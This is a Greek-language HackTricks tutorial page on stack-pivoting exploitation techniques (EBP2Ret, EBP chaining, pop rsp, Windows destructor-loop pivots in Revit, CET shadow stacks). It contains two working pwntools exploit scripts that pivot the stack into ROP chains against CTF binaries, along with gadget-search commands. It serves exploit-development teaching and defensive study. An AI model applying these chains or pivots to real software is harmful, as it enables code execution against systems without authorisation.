Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 14 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται κανείς τον Δείκτη Βάσης (EBP/RBP) για να αλυσιδωθεί η εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών leave; ret.

Ως υπενθύμιση, στο x86/x86-64 η εντολή leave ισοδυναμεί με:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Και καθώς το αποθηκευμένο EBP/RBP βρίσκεται στο stack πριν από το αποθηκευμένο EIP/RIP, είναι δυνατό να το ελέγξεις ελέγχοντας το stack.

Σημειώσεις

  • Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι ίδια.
  • Ορισμένοι μεταγλωττιστές παραλείπουν το frame pointer (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το leave μπορεί να μην εμφανιστεί και αυτή η τεχνική δεν θα λειτουργήσει.

EBP2Ret

Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείς να αλλάξεις το αποθηκευμένο EBP/RBP αλλά δεν έχεις άμεσο τρόπο να αλλάξεις EIP/RIP. Εκμεταλλεύεται τη συμπεριφορά του function epilogue.

Αν, κατά την εκτέλεση του fvuln, καταφέρεις να εγχύσεις ένα ψεύτικο EBP στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP chain σου (συν 8 bytes σε amd64 / 4 bytes σε x86 για να καλυφθεί το pop), μπορείς να ελέγξεις έμμεσα το RIP. Καθώς η συνάρτηση επιστρέφει, το leave θέτει το RSP στην κατασκευασμένη τοποθεσία και το επακόλουθο pop rbp μειώνει το RSP, κάνοντας το στην ουσία να δείχνει σε μια διεύθυνση που έχει τοποθετήσει εκεί ο επιτιθέμενος. Έπειτα το ret θα χρησιμοποιήσει εκείνη τη διεύθυνση.

Σημείωσε ότι πρέπει να γνωρίζεις 2 διευθύνσεις: τη διεύθυνση όπου θα πάει το ESP/RSP, και την τιμή αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το ret.

Exploit Construction

Πρώτα πρέπει να γνωρίζεις μια διεύθυνση όπου μπορείς να γράψεις αυθαίρετα δεδομένα/διευθύνσεις. Το RSP θα δείξει εκεί και θα καταναλώσει το πρώτο ret.

Έπειτα, πρέπει να επιλέξεις τη διεύθυνση που θα χρησιμοποιήσει το ret για να μεταφέρει την εκτέλεση. Μπορείς να χρησιμοποιήσεις:

  • A valid ONE_GADGET address.
  • Τη διεύθυνση του system() ακολουθούμενη από το κατάλληλο return και arguments (σε x86: ret target = &system, then 4 junk bytes, then &"/bin/sh").
  • Τη διεύθυνση ενός jmp esp; gadget (ret2esp) ακολουθούμενη από inline shellcode.
  • Έναν ROP chain τοποθετημένο σε εγγράψιμη μνήμη.

Θυμήσου ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει χώρος για το pop ebp/rbp από το leave (8B σε amd64, 4B σε x86). Μπορείς να εκμεταλλευτείς αυτά τα bytes για να θέσεις ένα δεύτερο ψεύτικο EBP και να διατηρήσεις τον έλεγχο μετά την επιστροφή της πρώτης κλήσης.

Off-By-One Exploit

Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείς να τροποποιήσεις μόνο το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP. Σε μια τέτοια περίπτωση, η θέση μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει το άλμα με ret πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την αναδρομολογήσει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο πιο μακριά γίνεται μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.

Επίσης είναι συνηθισμένο να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP chain στο τέλος, ώστε να είναι πιο πιθανό ότι το νέο RSP θα δείξει μέσα στο sled και η τελική ROP chain θα εκτελεστεί.

EBP Chaining

Τοποθετώντας μια ελεγχόμενη διεύθυνση στο αποθηκευμένο slot EBP του stack και ένα leave; ret gadget στο EIP/RIP, είναι δυνατό να μετακινήσεις το ESP/RSP σε μια διεύθυνση ελεγχόμενη από τον επιτιθέμενο.

Τώρα το RSP είναι ελεγχόμενο και η επόμενη εντολή είναι ret. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι σαν:

  • &(next fake EBP) -> Φορτώνεται από το pop ebp/rbp του leave.
  • &system() -> Καλείται από το ret.
  • &(leave;ret) -> Μετά το τέλος του system, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει.
  • &("/bin/sh") -> Όρισμα για το system.

Με αυτόν τον τρόπο είναι δυνατό να αλυσοδέσεις αρκετά ψεύτικα EBP για να ελέγξεις τη ροή του προγράμματος.

Αυτό μοιάζει με ένα ret2lib, αλλά πιο πολύπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις.

Επιπλέον, εδώ έχεις ένα example of a challenge που χρησιμοποιεί αυτή την τεχνική με ένα stack leak για να καλέσει μια winning function. Αυτό είναι το τελικό payload από τη σελίδα:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: Το System V ABI απαιτεί 16-byte στοίχιση της στοίβας στα call sites. Αν το chain σας καλεί συναρτήσεις όπως system, προσθέστε ένα alignment gadget (π.χ., ret, ή sub rsp, 8 ; ret) πριν την κλήση για να διατηρήσετε τη στοίχιση και να αποφύγετε crashes από movaps.

EBP μπορεί να μην χρησιμοποιείται

Όπως εξηγείται σε αυτή την ανάρτηση, εάν ένα binary είναι compiled με κάποιες βελτιστοποιήσεις ή με frame-pointer omission, το EBP/RBP δεν ελέγχει ποτέ το ESP/RSP. Επομένως, οποιοδήποτε exploit που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή το prologue/epilogue δεν επαναφέρει από το frame pointer.

  • Όχι βελτιστοποιημένο / χρησιμοποιείται frame pointer:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Βελτιστοποιημένο / frame pointer omitted:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 you’ll often see pop rbp ; ret instead of leave ; ret, but if the frame pointer is omitted entirely then there’s no rbp-based epilogue to pivot through.

Άλλοι τρόποι ελέγχου του RSP

pop rsp gadget

In this page μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτήν την τεχνική. Για εκείνο το challenge χρειαζόταν να κληθεί μια συνάρτηση με 2 συγκεκριμένα ορίσματα, και υπήρχε ένα pop rsp gadget και υπάρχει ένα leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Δείτε την τεχνική ret2esp εδώ:

Ret2esp / Ret2reg

Γρήγορη εύρεση pivot gadgets

Χρησιμοποιήστε το αγαπημένο σας gadget finder για να αναζητήσετε κλασικά pivot primitives:

  • leave ; ret σε συναρτήσεις ή σε βιβλιοθήκες
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; retadd esp, <imm> ; ret σε x86)

Παραδείγματα:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Κλασικό pivot staging pattern

Μια αξιόπιστη pivot στρατηγική που χρησιμοποιείται σε πολλά CTFs/exploits:

  1. Χρησιμοποίησε ένα μικρό αρχικό overflow για να καλέσεις read/recv σε μια μεγάλη εγγράψιμη περιοχή (π.χ., .bss, heap, ή mapped RW memory) και τοποθέτησε εκεί μια πλήρη ROP chain.
  2. Επέστρεψε σε ένα pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) για να μεταφέρεις το RSP σε εκείνη την περιοχή.
  3. Συνέχισε με την staged chain (π.χ., leak libc, κάλεσε mprotect, μετά read shellcode, και μετά κάνε jump σε αυτό).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Οι client-side parsers μερικές φορές υλοποιούν destructor loops που καλούν έμμεσα ένα function pointer προερχόμενο από attacker-controlled object fields. Αν κάθε επανάληψη προσφέρει ακριβώς μία indirect call (ένα “one-gadget” machine), μπορείς να το μετατρέψεις σε ένα αξιόπιστο stack pivot και ROP entry.

Παρατηρήθηκε στην Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Κατασκευασμένα αντικείμενα τύπου AString τοποθετούν έναν pointer προς attacker bytes στη μετατόπιση 0.
  • Το destructor loop εκτελεί ουσιαστικά ένα gadget ανά αντικείμενο:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Δύο πρακτικές pivots:

  • Windows 10 (32-bit heap addrs): μη ευθυγραμμισμένο “monster gadget” που περιέχει 8B E0mov esp, eax, και τελικά ret, για pivot από το call primitive σε ένα heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): χρησιμοποιήστε δύο objects για να οδηγήσετε ένα constrained weird-machine pivot:
  • Gadget 1: push rax ; pop rbp ; ret (μετακινεί το αρχικό rax στο rbp)
  • Gadget 2: leave ; ... ; ret (γίνεται mov rsp, rbp ; pop rbp ; ret), pivoting στο buffer του πρώτου αντικειμένου, όπου ακολουθεί μια συμβατική ROP chain.

Συμβουλές για Windows x64 μετά το pivot:

  • Σεβάσου το 0x20-byte shadow space και διατήρησε 16-byte στοίχιση πριν από σημεία call. Συχνά είναι βολικό να τοποθετείς literals πάνω από τη διεύθυνση επιστροφής και να χρησιμοποιείς ένα gadget όπως lea rcx, [rsp+0x20] ; call rax ακολουθούμενο από pop rax ; ret για να περάσεις στοίβες διευθύνσεων χωρίς να καταστρέψεις τη ροή ελέγχου.
  • Non-ASLR helper modules (αν υπάρχουν) παρέχουν σταθερές pools από gadgets και imports όπως LoadLibraryW/GetProcAddress για να επιλύεις δυναμικά στόχους όπως ucrtbase!system.
  • Δημιουργία λείποντων gadgets μέσω writable thunk: αν μια υποσχόμενη ακολουθία τελειώνει σε call μέσω writable function pointer (π.χ., DLL import thunk ή function pointer στο .data), αντικατάστησε αυτόν τον pointer με ένα ακίνδυνο single-step όπως pop rax ; ret. Η ακολουθία τότε συμπεριφέρεται σαν να τελείωσε με ret (π.χ., mov rdx, rsi ; mov rcx, rdi ; ret), κάτι που είναι ανεκτίμητο για να φορτώσεις τους Windows x64 arg registers χωρίς να καταστρέψεις άλλους.

Για πλήρη κατασκευή chain και παραδείγματα gadgets, δείτε την αναφορά παρακάτω.

Σύγχρονες μετριάσεις που σπάνε το stack pivoting (CET/Shadow Stack)

Τα σύγχρονα x86 CPUs και OSes υιοθετούν όλο και περισσότερο το CET Shadow Stack (SHSTK). Με το SHSTK ενεργοποιημένο, το ret συγκρίνει τη διεύθυνση επιστροφής στην κανονική στοίβα με μια hardware-protected shadow stack· οποιαδήποτε ασυμφωνία προκαλεί Control-Protection fault και τερματίζει τη διεργασία. Επομένως, τεχνικές όπως EBP2Ret/leave;ret-based pivots θα προκαλέσουν crash μόλις εκτελεστεί το πρώτο ret από μια pivoted στοίβα.

  • Για υπόβαθρο και πιο αναλυτικές λεπτομέρειες δείτε:

CET & Shadow Stack

  • Γρήγοροι έλεγχοι σε Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Σημειώσεις για labs/CTF:

  • Ορισμένα σύγχρονα distros ενεργοποιούν το SHSTK για CET-enabled binaries όταν υπάρχει υποστήριξη στο hardware και τη glibc. Για ελεγχόμενες δοκιμές σε VMs, το SHSTK μπορεί να απενεργοποιηθεί συστημικά μέσω του kernel boot parameter nousershstk, ή να ενεργοποιηθεί επιλεκτικά μέσω glibc tunables κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε mitigations σε παραγωγικούς στόχους.

  • Τεχνικές βασισμένες σε JOP/COOP ή SROP μπορεί να είναι ακόμα εφικτές σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει ret-based pivots.

  • Σημείωση για Windows: Windows 10+ εκθέτει user-mode και τα Windows 11 προσθέτουν kernel-mode “Hardware-enforced Stack Protection” βασισμένο σε shadow stacks. CET-compatible processes εμποδίζουν stack pivoting/ROP στο ret; οι developers ενεργοποιούν μέσω CETCOMPAT και σχετικών policies (βλ. αναφορά).

ARM64

In ARM64, the prologue and epilogues of the functions don't store and retrieve the SP register in the stack. Moreover, the RET instruction doesn't return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Ο τρόπος για να κάνεις κάτι ανάλογο με stack pivoting σε ARM64 είναι να μπορείς να ελέγξεις το SP (ελέγχοντας κάποιο register της τιμής του οποίου περνάει στο SP ή επειδή για κάποιο λόγο το SP παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε overflow) και στη συνέχεια να εκμεταλλευτείς τον επίλογο για να φορτώσεις τον καταχωρητή x30 από ένα ελεγχόμενο SP και να κάνεις RET σε αυτό.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks